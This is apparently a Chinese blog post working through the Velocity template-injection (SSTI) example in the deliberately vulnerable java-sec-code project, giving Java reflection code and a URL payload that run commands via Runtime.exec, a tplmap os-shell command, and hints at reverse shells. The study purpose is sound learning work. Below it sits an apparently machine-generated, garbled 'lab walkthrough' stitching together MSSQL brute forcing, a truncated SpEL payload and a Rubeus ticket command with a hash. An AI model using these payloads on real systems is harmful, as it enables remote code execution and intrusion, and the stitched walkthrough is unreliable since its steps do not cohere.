java-sec-code学习之SSTI

前言

项目是java-sec-code:https://github.com/JoyChou93/java-sec-code
SSTI,又称作模板注入,之前接触过python中flask的ssti模板注入,最终能达到rce,不过实战中比较少吧,php中比如smarty也会有相应的ssti模板注入。刚好今天来学习下java下的ssti。

0x01 从java代码出发

进入controller文件
/src/main/java/org/joychou/controller/SSTI.java

1

发现java使用的是Velocity来进行渲染模板,Velocity是一个基于java的模板引擎,样例上说明,即使是最新版本的Velocity,如果使用evaluate来进行渲染模板,仍然会有此漏洞。

简单分析下代码:
28行初始化Velocity
30行创建一个存放Velocity内容的对象
32、33、34行通过键值对的方式添加内容
36行创建一个StringWrite对象,在字符串缓冲区中收集输出的字符流。
37行使用Velocity.evaluate方法

当用户可以指定模板时,也就是evaluate中模板可控,可造成rce。通过设置一个字符串,然后通过获取字符串的类去寻找Runtime类,再去寻找getRuntime反射方法达到命令执行。

java反射机制达到命令执行:
2

public class test_class {
    public static void main(String[] args) throws Exception{
        String test = "e";
        test.getClass().forName("java.lang.Runtime").getMethod("exec",String.class).invoke(
                String.class.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(
                        String.class.getClass().forName("java.lang.Runtime")
                ),new String[]{"calc.exe"}
        );
    }
}

payload

velocity?template=%23set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc.exe")

注意:上面的%23并不能直接url解码换成#

即可在windows上弹出计算器,测试其他命令均可执行,只不过没有相应的回显。
3

组合拳:在linux上可以考虑反弹bash、windows上可以考虑远程下载程序执行或者用powershell来反弹shell。

常用工具
使用https://github.com/epinna/tplmap工具进行 SSTI,一般常见没有过滤的SSTI都能使用。

git clone https://github.com/epinna/tplmap
python tplmap.py --os-shell -u 'http://localhost:8080/ssti/velocity?template=aa'

0x02 修复

不使用evaluate方法(也不常见)。

参考:
java反射rce:http://rui0.cn/archives/1015
官方文档: https://github.com/JoyChou93/java-sec-code/wiki/SSTI

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
为了通关ssti-lab靶场,你可以按照以下步骤进行操作: 1. 首先,从上一个数据库中找到的password字典中获取到mssql的账户密码。 2. 使用这个账户密码进行mssql的暴力破解,以获得访问权限。 3. 一旦你获得了访问权限,你可以使用SSTI有效载荷发生器来执行特定类型的Java SSTI攻击。该有效载荷发生器可以生成针对Java SSTI的payload,启发于${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99)...}。 4. 另外,你还可以使用Rubeus工具来申请访问自身的可转发服务票据。通过运行命令".\Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:bd2cf5e6a8f89ed5b02d3d7fcf5e88c7 /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap > 1.txt",你可以生成一个可转发的服务票据文件,以便在后续攻击中使用。 通过以上步骤,你可以成功通关ssti-lab靶场。请注意,在进行任何攻击前,确保你有合法的授权和使用权,并且遵守法律法规。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [WP-春秋云镜-Brute4Road靶场通关完全指南](https://blog.csdn.net/qq_45234543/article/details/128482984)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [ssti-payload:SSTI有效载荷生成器](https://download.csdn.net/download/weixin_42128558/15099898)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值